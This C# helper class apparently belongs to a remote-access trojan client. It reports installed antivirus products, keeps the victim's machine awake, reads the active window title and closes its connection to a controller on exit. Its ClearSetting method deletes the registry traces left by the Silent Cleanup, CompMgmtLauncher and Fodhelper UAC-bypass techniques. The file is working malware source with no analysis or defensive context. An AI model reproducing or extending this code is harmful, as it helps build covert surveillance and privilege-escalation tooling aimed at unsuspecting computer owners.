using Client.Connection;
using System;
using System.Collections.Generic;
using System.Management;
using System.Security.Principal;
using System.Drawing.Imaging;
using System.Runtime.InteropServices;
using static Client.Helper.NativeMethods;
using System.Text;
using System.IO;
using System.Windows.Forms;
using System.Threading;
using Microsoft.Win32;

namespace Client.Helper
{
    public static class Methods
    {
        public static bool IsAdmin()
        {
            return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator);
        }
        public static void ClientOnExit()
        {
            try
            {
                if (Convert.ToBoolean(Settings.BS_OD) && IsAdmin())
                    ProcessCritical.Exit();
                MutexControl.CloseMutex();
                ClientSocket.SslClient?.Close();
                ClientSocket.TcpClient?.Close();
            }
            catch { }
        }

        public static string Antivirus()
        {
            try
            {
                string firewallName = string.Empty;
                // starting with Windows Vista we must use the root\SecurityCenter2 namespace
                
                using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(@"\\" + Environment.MachineName + @"\root\SecurityCenter2", "Select * from AntivirusProduct"))
                {
                    foreach (ManagementObject mObject in searcher.Get())
                    {
                        firewallName += mObject["displayName"].ToString() + "; ";
                    }
                }
                firewallName = RemoveLastChars(firewallName);

                return (!string.IsNullOrEmpty(firewallName)) ? firewallName : "N/A";
            }
            catch
            {
                return "Unknown";
            }
        }
        public static string RemoveLastChars(string input, int amount = 2)
        {
            if (input.Length > amount)
                input = input.Remove(input.Length - amount);
            return input;
        }
        public static ImageCodecInfo GetEncoder(ImageFormat format)
        {
            ImageCodecInfo[] codecs = ImageCodecInfo.GetImageDecoders();
            foreach (ImageCodecInfo codec in codecs)
            {
                if (codec.FormatID == format.Guid)
                {
                    return codec;
                }
            }
            return null;
        }
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern EXECUTION_STATE SetThreadExecutionState(EXECUTION_STATE esFlags);
        public static void PreventSleep()
        {
            try
            {
                SetThreadExecutionState(EXECUTION_STATE.ES_SYSTEM_REQUIRED | EXECUTION_STATE.ES_CONTINUOUS | EXECUTION_STATE.ES_DISPLAY_REQUIRED);
            }
            catch { }
        }

        public static string GetActiveWindowTitle()
        {
            try
            {
                const int nChars = 256;
                StringBuilder buff = new StringBuilder(nChars);
                IntPtr handle = GetForegroundWindow();
                if (GetWindowText(handle, buff, nChars) > 0)
                {
                    return buff.ToString();
                }
            }
            catch { }
            return "";
        }

        public static void ClearSetting()
        {
            try 
            {
                //Silent Cleanup
                RegistryKey key;
                key = Microsoft.Win32.Registry.CurrentUser.CreateSubKey("Environment");
                if (key.GetValue("windir") != null)
                {
                    key.DeleteValue("windir");
                }

                key.Close();
            }
            catch { }
            try
            {
                //CompMgmtLauncher
                Registry.CurrentUser.OpenSubKey("Software", true).OpenSubKey("Classes", true).DeleteSubKeyTree("mscfile");
            }
            catch { }
            try
            {
                //Fodhelper
                Registry.CurrentUser.OpenSubKey("Software", true).OpenSubKey("Classes", true).DeleteSubKeyTree("ms-settings");
            }
            catch { }
        }
    }
}